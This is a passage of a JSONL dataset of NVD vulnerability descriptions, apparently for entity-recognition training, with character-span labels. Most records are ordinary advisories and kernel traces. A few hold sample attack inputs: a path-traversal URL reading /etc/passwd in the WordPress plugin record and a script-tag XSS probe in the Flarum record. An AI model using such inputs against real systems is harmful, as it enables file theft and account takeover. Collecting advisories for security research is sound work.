? kthread_complete_and_exit+0x30/0x30\n[ 5859.633834]  ret_from_fork+0x1f/0x30\n[ 5859.633842]  </TASK>", "spans": {"FILEPATH: kthread.c": [[770, 779]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48705"}}
{"text": "The Unlimited Elements for Elementor plugin for WordPress is vulnerable to Arbitrary File Read via the Repeater JSON/CSV URL parameter in versions up to, and including, 2.0.6. This is due to insufficient path traversal sanitization in the URLtoRelative() and urlToPath() functions, combined with the ability to enable debug output in widget settings. The URLtoRelative() function only performs a simple string replacement to remove the site's base URL without sanitizing path traversal sequences (../), and the cleanPath() function only normalizes directory separators without removing traversal components. This allows an attacker to provide a URL like http://site.com/../../../../etc/passwd which, after URLtoRelative() strips the domain, results in /../../../../etc/passwd being concatenated with the base path and ultimately resolved to /etc/passwd. This makes it possible for authenticated attackers with Author-level access and above to read arbitrary local files from the WordPress host, including sensitive files such as wp-config.", "spans": {"URL: http://site.com/../../../../etc/passwd": [[654, 692]], "FILEPATH: /../../../../etc/passwd": [[752, 775]], "FILEPATH: /etc/passwd.": [[841, 853]], "SYSTEM: WordPress": [[48, 57], [979, 988]], "VULNERABILITY: Arbitrary File Read": [[75, 94]], "VULNERABILITY: path traversal": [[204, 218], [471, 485]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4659"}}
{"text": "A vulnerability has been identified in SIMATIC CP 1242-7 V2 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 DNP3 (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-1 IEC (incl. SIPLUS variants) (All versions < V3.5.20), SIMATIC CP 1243-7 LTE (All versions < V3.5.20), SIMATIC CP 1243-8 IRC (6GK7243-8RX30-0XE0) (All versions < V3.5.20), SIMATIC HMI Comfort Panels (incl. SIPLUS variants) (All versions), SIMATIC IPC DiagBase (All versions), SIMATIC IPC DiagMonitor (All versions), SIMATIC WinCC Runtime Advanced (All versions), SIPLUS TIM 1531 IRC (6AG1543-1MX00-7XE0) (All versions < V2.4.8), TIM 1531 IRC (6GK7543-1MX00-0XE0) (All versions < V2.4.8). The web server of the affected devices do not properly handle certain errors when using the Expect HTTP request header, resulting in NULL dereference.\r\n\r\nThis could allow a remote attacker with no privileges to cause a denial of service condition in the system.", "spans": {"VULNERABILITY: denial of service": [[975, 992]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30756"}}
{"text": "NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. Prior to versions 2.11.15 and 2.12.6, when using mTLS for client identity, with `verify_and_map` to derive a NATS identity from the client certificate's Subject DN, certain patterns of RDN would not be correctly enforced, allowing for authentication bypass. This does require a valid certificate from a CA already trusted for client certificates, and `DN` naming patterns which the NATS maintainers consider highly unlikely. So this is an unlikely attack. Nonetheless, administrators who have been very sophisticated in their `DN` construction patterns might conceivably be impacted. Versions 2.11.15 and 2.12.6 contain a fix. As a workaround, developers should review their CA issuing practices.", "spans": {"DOMAIN: NATS.io": [[45, 52]], "VULNERABILITY: authentication bypass": [[331, 352]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33248"}}
{"text": "osquery is a SQL powered operating system instrumentation, monitoring, and analytics framework. In osquery before version 4.6.0, by using sqlite's ATTACH verb, someone with administrative access to osquery can cause reads and writes to arbitrary sqlite databases on disk. This _does_ allow arbitrary files to be created, but they will be sqlite databases. It does not appear to allow existing non-sqlite files to be overwritten. This has been patched in osquery 4.6.0. There are several mitigating factors and possible workarounds. In some deployments, the people with access to these interfaces may be considered administrators. In some deployments, configuration is managed by a central tool. This tool can filter for the `ATTACH` keyword. osquery can be run as non-root user. Because this also limits the desired access levels, this requires deployment specific testing and configuration.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26273"}}
{"text": "Mastodon is a free, open-source social network server based on ActivityPub. When an OAuth Application is destroyed, the streaming server wasn't being informed that the Access Tokens had also been destroyed, this could have posed security risks to users by allowing an application to continue listening to streaming after the application had been destroyed. Essentially this comes down to the fact that when Doorkeeper sets up the relationship between Applications and Access Tokens, it uses a `dependent: delete_all` configuration, which means the `after_commit` callback setup on `AccessTokenExtension` didn't actually fire, since `delete_all` doesn't trigger ActiveRecord callbacks. To mitigate, we need to add a `before_destroy` callback to `ApplicationExtension` which announces to streaming that all the Application's Access Tokens are being \"killed\". Impact should be negligible given the affected application had to be owned by the user. None the less this issue has been addressed in versions 4.2.6, 4.1.14, 4.0.14, and 3.5.18. Users are advised to upgrade. There are no known workaround for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-25619"}}
{"text": "Elide is a Java library that lets you stand up a GraphQL/JSON-API web service with minimal effort. When leveraging the following together: Elide Aggregation Data Store for Analytic Queries, Parameterized Columns (A column that requires a client provided parameter), and a parameterized column of type TEXT. There is the potential for a hacker to provide a carefully crafted query that would bypass server side authorization filters through SQL injection. A recent patch to Elide 6.1.2 allowed the '-' character to be included in parameterized TEXT columns. This character can be interpreted as SQL comments ('--') and allow the attacker to remove the WHERE clause from the generated query and bypass authorization filters. A fix is provided in Elide 6.1.4. The vulnerability only exists for parameterized columns of type TEXT and only for analytic queries (CRUD is not impacted). Workarounds include leveraging a different type of parameterized column (TIME, MONEY, etc) or not leveraging parameterized columns.", "spans": {"SYSTEM: Java": [[11, 15]], "VULNERABILITY: SQL injection": [[440, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24827"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.5.2-alpha.3 and 8.6.16, class-level permissions (CLP) are not enforced for LiveQuery subscriptions. An unauthenticated or unauthorized client can subscribe to any LiveQuery-enabled class and receive real-time events for all objects, regardless of CLP restrictions. All Parse Server deployments that use LiveQuery with class-level permissions are affected. Data intended to be restricted by CLP is leaked to unauthorized subscribers in real time. This vulnerability is fixed in 9.5.2-alpha.3 and 8.6.16.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30947"}}
{"text": "ChurchCRM is an open-source church management system. Prior to 7.1.0, a stored cross-site scripting vulnerability exists in PersonView.php due to incorrect use of sanitizeText() as an output sanitizer for HTML attribute context. The function only strips HTML tags, it does not escape quote characters allowing an attacker to break out of the href attribute and inject arbitrary JavaScript event handlers. Any authenticated user with the EditRecords role can store the payload in a person's Facebook field. The XSS fires against any user who views that person's profile page, including administrators, enabling session hijacking and full account takeover. This vulnerability is fixed in 7.1.0.", "spans": {"FILEPATH: PersonView.php": [[124, 138]], "ORGANIZATION: Facebook": [[490, 498]], "VULNERABILITY: cross-site scripting": [[79, 99]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35534"}}
{"text": "Emlog is an open source website building system. Versions up to and including 2.5.19 are vulnerable to server-side Out-of-Band (OOB) requests / SSRF via uploaded SVG files. An attacker can upload a crafted SVG to http[:]//emblog/admin/media[.]php which contains external resource references. When the server processes/renders the SVG (thumbnailing, preview, or sanitization), it issues an HTTP request to the attacker-controlled host. Impact: server-side SSRF/OOB leading to internal network probing and potential metadata/credential exposure. As of time of publication, no known patched versions are available.", "spans": {"FILEPATH: /emblog/admin/media": [[221, 240]], "VULNERABILITY: SSRF": [[144, 148], [455, 459]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-21433"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `BoostedTreesSparseCalculateBestFeatureSplit`. The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) needs to validate that each value in `stats_summary_indices` is in range. We have patched the issue in GitHub commit e84c975313e8e8e38bb2ea118196369c45c51378. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc": [[277, 414]], "HASH: e84c975313e8e8e38bb2ea118196369c45c51378": [[533, 573]], "ORGANIZATION: GitHub": [[519, 525]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37664"}}
{"text": "pipenv is a Python development workflow tool. Starting with version 2018.10.9 and prior to version 2022.1.8, a flaw in pipenv's parsing of requirements files allows an attacker to insert a specially crafted string inside a comment anywhere within a requirements.txt file, which will cause victims who use pipenv to install the requirements file to download dependencies from a package index server controlled by the attacker. By embedding malicious code in packages served from their malicious index server, the attacker can trigger arbitrary remote code execution (RCE) on the victims' systems. If an attacker is able to hide a malicious `--index-url` option in a requirements file that a victim installs with pipenv, the attacker can embed arbitrary malicious code in packages served from their malicious index server that will be executed on the victim's host during installation (remote code execution/RCE). When pip installs from a source distribution, any code in the setup.py is executed by the install process. This issue is patched in version 2022.1.8. The GitHub Security Advisory contains more information about this vulnerability.", "spans": {"FILEPATH: setup.py": [[974, 982]], "SYSTEM: Python": [[12, 18]], "ORGANIZATION: GitHub": [[1066, 1072]], "VULNERABILITY: remote code execution": [[543, 564], [884, 905]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21668"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: rt2x00: Fix memory leak when handling surveys\n\nWhen removing a rt2x00 device, its associated channel surveys\nare not freed, causing a memory leak observable with kmemleak:\n\nunreferenced object 0xffff9620f0881a00 (size 512):\n  comm \"systemd-udevd\", pid 2290, jiffies 4294906974 (age 33.768s)\n  hex dump (first 32 bytes):\n    70 44 12 00 00 00 00 00 92 8a 00 00 00 00 00 00  pD..............\n    00 00 00 00 00 00 00 00 ab 87 01 00 00 00 00 00  ................\n  backtrace:\n    [<ffffffffb0ed858b>] __kmalloc+0x4b/0x130\n    [<ffffffffc1b0f29b>] rt2800_probe_hw+0xc2b/0x1380 [rt2800lib]\n    [<ffffffffc1a9496e>] rt2800usb_probe_hw+0xe/0x60 [rt2800usb]\n    [<ffffffffc1ae491a>] rt2x00lib_probe_dev+0x21a/0x7d0 [rt2x00lib]\n    [<ffffffffc1b3b83e>] rt2x00usb_probe+0x1be/0x980 [rt2x00usb]\n    [<ffffffffc05981e2>] usb_probe_interface+0xe2/0x310 [usbcore]\n    [<ffffffffb13be2d5>] really_probe+0x1a5/0x410\n    [<ffffffffb13be5c8>] __driver_probe_device+0x78/0x180\n    [<ffffffffb13be6fe>] driver_probe_device+0x1e/0x90\n    [<ffffffffb13be972>] __driver_attach+0xd2/0x1c0\n    [<ffffffffb13bbc57>] bus_for_each_dev+0x77/0xd0\n    [<ffffffffb13bd2a2>] bus_add_driver+0x112/0x210\n    [<ffffffffb13bfc6c>] driver_register+0x5c/0x120\n    [<ffffffffc0596ae8>] usb_register_driver+0x88/0x150 [usbcore]\n    [<ffffffffb0c011c4>] do_one_initcall+0x44/0x220\n    [<ffffffffb0d6134c>] do_init_module+0x4c/0x220\n\nFix this by freeing the channel surveys on device removal.\n\nTested with a RT3070 based USB wireless adapter.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[307, 314]], "VULNERABILITY: memory leak": [[87, 98], [209, 220]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54131"}}
{"text": "Flarum is a forum software for building communities. Flarum's translation system allowed for string inputs to be converted into HTML DOM nodes when rendered. This change was made after v0.1.0-beta.16 (our last beta before v1.0.0) and was not noticed or documented. This allowed for any user to type malicious HTML markup within certain user input fields and have this execute on client browsers. The example which led to the discovery of this vulnerability was in the forum search box. Entering faux-malicious HTML markup, such as <script>alert('test')</script> resulted in an alert box appearing on the forum. This attack could also be modified to perform AJAX requests on behalf of a user, possibly deleting discussions, modifying their settings or profile, or even modifying settings on the Admin panel if the attack was targetted towards a privileged user. All Flarum communities that run flarum v1.0.0 or v1.0.1 are impacted. The vulnerability has been fixed and published as flarum/core v1.0.2. All communities running Flarum v1.0 have to upgrade as soon as possible to v1.0.2.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32671"}}
{"text": "DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializes job data BLOBs from the qrtz_job_details table using ObjectInputStream with no deserialization filter or class allowlist. An authenticated attacker who can write to the Quartz job table, such as through the previously described SQL injection in previewSql, can replace a scheduled job's JOB_DATA with a malicious CommonsCollections6 gadget chain payload. When the Quartz cron trigger fires, the payload is deserialized and executes arbitrary commands as root inside the container, achieving full remote code execution. This issue has been fixed in version 2.10.21.", "spans": {"VULNERABILITY: remote code execution": [[796, 817]], "VULNERABILITY: deserialization": [[210, 225], [379, 394]], "VULNERABILITY: SQL injection": [[528, 541]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40901"}}
{"text": "Nuclei is a vulnerability scanner. Prior to version 2.9.9, a security issue in the Nuclei project affected users utilizing Nuclei as Go code (SDK) running custom templates. This issue did not affect CLI users. The problem was related to sanitization issues with payload loading in sandbox mode. There was a potential risk with payloads loading in sandbox mode. The issue occurred due to relative paths not being converted to absolute paths before doing the check for `sandbox` flag allowing arbitrary files to be read on the filesystem in certain cases when using Nuclei from `Go` SDK implementation. \n\nThis issue has been fixed in version 2.9.9. The maintainers have also enabled sandbox by default for filesystem loading. This can be optionally disabled if required. The `-sandbox` option has been deprecated and is now divided into two new options: `-lfa` (allow local file access) which is enabled by default and `-lna` (restrict local network access) which can be enabled by users optionally. The `-lfa` allows file (payload) access anywhere on the system (disabling sandbox effectively), and `-lna` blocks connections to the local/private network.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37896"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: always detect conflicting inodes when logging inode refs\n\nAfter rename exchanging (either with the rename exchange operation or\nregular renames in multiple non-atomic steps) two inodes and at least\none of them is a directory, we can end up with a log tree that contains\nonly of the inodes and after a power failure that can result in an attempt\nto delete the other inode when it should not because it was not deleted\nbefore the power failure. In some case that delete attempt fails when\nthe target inode is a directory that contains a subvolume inside it, since\nthe log replay code is not prepared to deal with directory entries that\npoint to root items (only inode items).\n\n1) We have directories \"dir1\" (inode A) and \"dir2\" (inode B) under the\n   same parent directory;\n\n2) We have a file (inode C) under directory \"dir1\" (inode A);\n\n3) We have a subvolume inside directory \"dir2\" (inode B);\n\n4) All these inodes were persisted in a past transaction and we are\n   currently at transaction N;\n\n5) We rename the file (inode C), so at btrfs_log_new_name() we update\n   inode C's last_unlink_trans to N;\n\n6) We get a rename exchange for \"dir1\" (inode A) and \"dir2\" (inode B),\n   so after the exchange \"dir1\" is inode B and \"dir2\" is inode A.\n   During the rename exchange we call btrfs_log_new_name() for inodes\n   A and B, but because they are directories, we don't update their\n   last_unlink_trans to N;\n\n7) An fsync against the file (inode C) is done, and because its inode\n   has a last_unlink_trans with a value of N we log its parent directory\n   (inode A) (through btrfs_log_all_parents(), called from\n   btrfs_log_inode_parent()).\n\n8) So we end up with inode B not logged, which now has the old name\n   of inode A. At copy_inode_items_to_log(), when logging inode A, we\n   did not check if we had any conflicting inode to log because inode\n   A has a generation lower than the current transaction (created in\n   a past transaction);\n\n9) After a power failure, when replaying the log tree, since we find that\n   inode A has a new name that conflicts with the name of inode B in the\n   fs tree, we attempt to delete inode B... this is wrong since that\n   directory was never deleted before the power failure, and because there\n   is a subvolume inside that directory, attempting to delete it will fail\n   since replay_dir_deletes() and btrfs_unlink_inode() are not prepared\n   to deal with dir items that point to roots instead of inodes.\n\n   When that happens the mount fails and we get a stack trace like the\n   following:\n\n   [87.2314] BTRFS info (device dm-0): start tree-log replay\n   [87.2318] BTRFS critical (device dm-0): failed to delete reference to subvol, root 5 inode 256 parent 259\n   [87.2332] ------------[ cut here ]------------\n   [87.2338] BTRFS: Transaction aborted (error -2)\n   [87.2346] WARNING: CPU: 1 PID: 638968 at fs/btrfs/inode.c:4345 __btrfs_unlink_inode+0x416/0x440 [btrfs]\n   [87.2368] Modules linked in: btrfs loop dm_thin_pool (...)\n   [87.2470] CPU: 1 UID: 0 PID: 638968 Comm: mount Tainted: G        W           6.18.0-rc7-btrfs-next-218+ #2 PREEMPT(full)\n   [87.2489] Tainted: [W]=WARN\n   [87.2494] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014\n   [87.2514] RIP: 0010:__btrfs_unlink_inode+0x416/0x440 [btrfs]\n   [87.2538] Code: c0 89 04 24 (...)\n   [87.2568] RSP: 0018:ffffc0e741f4b9b8 EFLAGS: 00010286\n   [87.2574] RAX: 0000000000000000 RBX: ffff9d3ec8a6cf60 RCX: 0000000000000000\n   [87.2582] RDX: 0000000000000002 RSI: ffffffff84ab45a1 RDI: 00000000ffffffff\n   [87.2591] RBP: ffff9d3ec8a6ef20 R08: 0000000000000000 R09: ffffc0e741f4b840\n   [87.2599] R10: ffff9d45dc1fffa8 R11: 0000000000000003 R12: ffff9d3ee26d77e0\n   [87.2608] R13: ffffc0e741f4ba98 R14: ffff9d4458040800 R15: ffff9d44b6b7ca10\n   [87.2618] FS:  00007f7b9603a840(0000) GS:ffff9d4658982000(0000) knlGS:0000000000000000\n   [87.\n---truncated---", "spans": {"DOMAIN: rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org": [[3276, 3320]], "FILEPATH: /btrfs/inode.c": [[2924, 2938]], "FILEPATH: /01/2014": [[3323, 3331]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[3231, 3235]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71183"}}
{"text": "An issue was discovered in Veritas Enterprise Vault through 14.0. On start-up, it loads the OpenSSL library. The OpenSSL library then attempts to load the openssl.cnf configuration file (which does not exist) at the following locations in both the System drive (typically C:\\) and the product's installation drive (typically not C:\\): \\Isode\\etc\\ssl\\openssl.cnf (on SMTP Server) or \\user\\ssl\\openssl.cnf (on other affected components). By default, on Windows systems, users can create directories under C:\\. A low privileged user can create a openssl.cnf configuration file to load a malicious OpenSSL engine, resulting in arbitrary code execution as SYSTEM when the service starts. This gives the attacker administrator access on the system, allowing the attacker (by default) to access all data, access all installed applications, etc. This vulnerability only affects a server with MTP Server, SMTP Archiving IMAP Server, IMAP Archiving, Vault Cloud Adapter, NetApp File server, or File System Archiving for NetApp as File Server.", "spans": {"FILEPATH: C:\\. A low privileged user can create a openssl.cnf configuration file to load a malicious OpenSSL engine": [[503, 608]], "SYSTEM: Windows": [[451, 458]], "SYSTEM: OpenSSL": [[92, 99], [113, 120]], "VULNERABILITY: code execution": [[633, 647]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36164"}}
{"text": "This flaw allows an attacker to insert cookies at will into a running program\nusing libcurl, if the specific series of conditions are met.\n\nlibcurl performs transfers. In its API, an application creates \"easy handles\"\nthat are the individual handles for single transfers.\n\nlibcurl provides a function call that duplicates en easy handle called\n[curl_easy_duphandle](https://curl.se/libcurl/c/curl_easy_duphandle.html).\n\nIf a transfer has cookies enabled when the handle is duplicated, the\ncookie-enable state is also cloned - but without cloning the actual\ncookies. If the source handle did not read any cookies from a specific file on\ndisk, the cloned version of the handle would instead store the file name as\n`none` (using the four ASCII letters, no quotes).\n\nSubsequent use of the cloned handle that does not explicitly set a source to\nload cookies from would then inadvertently load cookies from a file named\n`none` - if such a file exists and is readable in the current directory of the\nprogram using libcurl. And if using the correct file format of course.", "spans": {"URL: https://curl.se/libcurl/c/curl_easy_duphandle.html": [[366, 416]], "SYSTEM: libcurl": [[84, 91], [140, 147], [273, 280], [1007, 1014]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-38546"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet:sfc: fix non-freed irq in legacy irq mode\n\nSFC driver can be configured via modparam to work using MSI-X, MSI or\nlegacy IRQ interrupts. In the last one, the interrupt was not properly\nreleased on module remove.\n\nIt was not freed because the flag irqs_hooked was not set during\ninitialization in the case of using legacy IRQ.\n\nExample of (trimmed) trace during module remove without this fix:\n\nremove_proc_entry: removing non-empty directory 'irq/125', leaking at least '0000:3b:00.1'\nWARNING: CPU: 39 PID: 3658 at fs/proc/generic.c:715 remove_proc_entry+0x15c/0x170\n...trimmed...\nCall Trace:\n unregister_irq_proc+0xe3/0x100\n free_desc+0x29/0x70\n irq_free_descs+0x47/0x70\n mp_unmap_irq+0x58/0x60\n acpi_unregister_gsi_ioapic+0x2a/0x40\n acpi_pci_irq_disable+0x78/0xb0\n pci_disable_device+0xd1/0x100\n efx_pci_remove+0xa1/0x1e0 [sfc]\n pci_device_remove+0x38/0xa0\n __device_release_driver+0x177/0x230\n driver_detach+0xcb/0x110\n bus_remove_driver+0x58/0xd0\n pci_unregister_driver+0x2a/0xb0\n efx_exit_module+0x24/0xf40 [sfc]\n __do_sys_delete_module.constprop.0+0x171/0x280\n ? exit_to_user_mode_prepare+0x83/0x1d0\n do_syscall_64+0x3d/0x80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7f9f9385800b\n...trimmed...", "spans": {"FILEPATH: /proc/generic.c": [[589, 604]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47283"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-fabrics: fix kernel crash while shutting down controller\n\nThe nvme keep-alive operation, which executes at a periodic interval,\ncould potentially sneak in while shutting down a fabric controller.\nThis may lead to a race between the fabric controller admin queue\ndestroy code path (invoked while shutting down controller) and hw/hctx\nqueue dispatcher called from the nvme keep-alive async request queuing\noperation. This race could lead to the kernel crash shown below:\n\nCall Trace:\n    autoremove_wake_function+0x0/0xbc (unreliable)\n    __blk_mq_sched_dispatch_requests+0x114/0x24c\n    blk_mq_sched_dispatch_requests+0x44/0x84\n    blk_mq_run_hw_queue+0x140/0x220\n    nvme_keep_alive_work+0xc8/0x19c [nvme_core]\n    process_one_work+0x200/0x4e0\n    worker_thread+0x340/0x504\n    kthread+0x138/0x140\n    start_kernel_thread+0x14/0x18\n\nWhile shutting down fabric controller, if nvme keep-alive request sneaks\nin then it would be flushed off. The nvme_keep_alive_end_io function is\nthen invoked to handle the end of the keep-alive operation which\ndecrements the admin->q_usage_counter and assuming this is the last/only\nrequest in the admin queue then the admin->q_usage_counter becomes zero.\nIf that happens then blk-mq destroy queue operation (blk_mq_destroy_\nqueue()) which could be potentially running simultaneously on another\ncpu (as this is the controller shutdown code path) would forward\nprogress and deletes the admin queue. So, now from this point onward\nwe are not supposed to access the admin queue resources. However the\nissue here's that the nvme keep-alive thread running hw/hctx queue\ndispatch operation hasn't yet finished its work and so it could still\npotentially access the admin queue resource while the admin queue had\nbeen already deleted and that causes the above crash.\n\nThe above kernel crash is regression caused due to changes implemented\nin commit a54a93d0e359 (\"nvme: move stopping keep-alive into\nnvme_uninit_ctrl()\"). Ideally we should stop keep-alive before destroyin\ng the admin queue and freeing the admin tagset so that it wouldn't sneak\nin during the shutdown operation. However we removed the keep alive stop\noperation from the beginning of the controller shutdown code path in commit\na54a93d0e359 (\"nvme: move stopping keep-alive into nvme_uninit_ctrl()\")\nand added it under nvme_uninit_ctrl() which executes very late in the\nshutdown code path after the admin queue is destroyed and its tagset is\nremoved. So this change created the possibility of keep-alive sneaking in\nand interfering with the shutdown operation and causing observed kernel\ncrash.\n\nTo fix the observed crash, we decided to move nvme_stop_keep_alive() from\nnvme_uninit_ctrl() to nvme_remove_admin_tag_set(). This change would ensure\nthat we don't forward progress and delete the admin queue until the keep-\nalive operation is finished (if it's in-flight) or cancelled and that would\nhelp contain the race condition explained above and hence avoid the crash.\n\nMoving nvme_stop_keep_alive() to nvme_remove_admin_tag_set() instead of\nadding nvme_stop_keep_alive() to the beginning of the controller shutdown\ncode path in nvme_stop_ctrl(), as was the case earlier before commit\na54a93d0e359 (\"nvme: move stopping keep-alive into nvme_uninit_ctrl()\"),\nwould help save one callsite of nvme_stop_keep_alive().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[2979, 2993]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53169"}}
{"text": "Moby is an open-source project created by Docker to enable software containerization. A bug was found in Moby (Docker Engine) where the data directory (typically `/var/lib/docker`) contained subdirectories with insufficiently restricted permissions, allowing otherwise unprivileged Linux users to traverse directory contents and execute programs. When containers included executable programs with extended permission bits (such as `setuid`), unprivileged Linux users could discover and execute those programs. When the UID of an unprivileged Linux user on the host collided with the file owner or group inside a container, the unprivileged Linux user on the host could discover, read, and modify those files. This bug has been fixed in Moby (Docker Engine) 20.10.9. Users should update to this version as soon as possible. Running containers should be stopped and restarted for the permissions to be fixed. For users unable to upgrade limit access to the host to trusted users. Limit access to host volumes to trusted containers.", "spans": {"FILEPATH: /var/lib/docker": [[163, 178]], "SYSTEM: Linux": [[282, 287], [455, 460], [542, 547], [640, 645]], "ORGANIZATION: Docker": [[42, 48], [111, 117], [742, 748]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41091"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: ensure context reset on disconnect()\n\nAfter the blamed commit below, if the MPC subflow is already in TCP_CLOSE\nstatus or has fallback to TCP at mptcp_disconnect() time,\nmptcp_do_fastclose() skips setting the `send_fastclose flag` and the later\n__mptcp_close_ssk() does not reset anymore the related subflow context.\n\nAny later connection will be created with both the `request_mptcp` flag\nand the msk-level fallback status off (it is unconditionally cleared at\nMPTCP disconnect time), leading to a warning in subflow_data_ready():\n\n  WARNING: CPU: 26 PID: 8996 at net/mptcp/subflow.c:1519 subflow_data_ready (net/mptcp/subflow.c:1519 (discriminator 13))\n  Modules linked in:\n  CPU: 26 UID: 0 PID: 8996 Comm: syz.22.39 Not tainted 6.18.0-rc7-05427-g11fc074f6c36 #1 PREEMPT(voluntary)\n  Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n  RIP: 0010:subflow_data_ready (net/mptcp/subflow.c:1519 (discriminator 13))\n  Code: 90 0f 0b 90 90 e9 04 fe ff ff e8 b7 1e f5 fe 89 ee bf 07 00 00 00 e8 db 19 f5 fe 83 fd 07 0f 84 35 ff ff ff e8 9d 1e f5 fe 90 <0f> 0b 90 e9 27 ff ff ff e8 8f 1e f5 fe 4c 89 e7 48 89 de e8 14 09\n  RSP: 0018:ffffc9002646fb30 EFLAGS: 00010293\n  RAX: 0000000000000000 RBX: ffff88813b218000 RCX: ffffffff825c8435\n  RDX: ffff8881300b3580 RSI: ffffffff825c8443 RDI: 0000000000000005\n  RBP: 000000000000000b R08: ffffffff825c8435 R09: 000000000000000b\n  R10: 0000000000000005 R11: 0000000000000007 R12: ffff888131ac0000\n  R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\n  FS:  00007f88330af6c0(0000) GS:ffff888a93dd2000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007f88330aefe8 CR3: 000000010ff59000 CR4: 0000000000350ef0\n  Call Trace:\n   <TASK>\n   tcp_data_ready (net/ipv4/tcp_input.c:5356)\n   tcp_data_queue (net/ipv4/tcp_input.c:5445)\n   tcp_rcv_state_process (net/ipv4/tcp_input.c:7165)\n   tcp_v4_do_rcv (net/ipv4/tcp_ipv4.c:1955)\n   __release_sock (include/net/sock.h:1158 (discriminator 6) net/core/sock.c:3180 (discriminator 6))\n   release_sock (net/core/sock.c:3737)\n   mptcp_sendmsg (net/mptcp/protocol.c:1763 net/mptcp/protocol.c:1857)\n   inet_sendmsg (net/ipv4/af_inet.c:853 (discriminator 7))\n   __sys_sendto (net/socket.c:727 (discriminator 15) net/socket.c:742 (discriminator 15) net/socket.c:2244 (discriminator 15))\n   __x64_sys_sendto (net/socket.c:2247)\n   do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1))\n   entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n  RIP: 0033:0x7f883326702d\n\nAddress the issue setting an explicit `fastclosing` flag at fastclose\ntime, and checking such flag after mptcp_do_fastclose().", "spans": {"FILEPATH: /mptcp/subflow.c": [[644, 660], [689, 705], [947, 963]], "FILEPATH: /01/2011": [[903, 911]], "FILEPATH: /ipv4/tcp_input.c": [[1822, 1839], [1868, 1885], [1921, 1938]], "FILEPATH: /ipv4/tcp_ipv4.c": [[1966, 1982]], "FILEPATH: /net/sock.h": [[2015, 2026]], "FILEPATH: /core/sock.c": [[2053, 2065], [2110, 2122]], "FILEPATH: /mptcp/protocol.c": [[2150, 2167], [2176, 2193]], "FILEPATH: /ipv4/af_inet.c": [[2220, 2235]], "FILEPATH: /x86/entry/syscall_64.c": [[2448, 2471], [2497, 2520]], "FILEPATH: /x86/entry/entry_64.S": [[2582, 2603]], "FILEPATH: socket.c": [[2280, 2288], [2316, 2324], [2352, 2360], [2411, 2419]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71144"}}
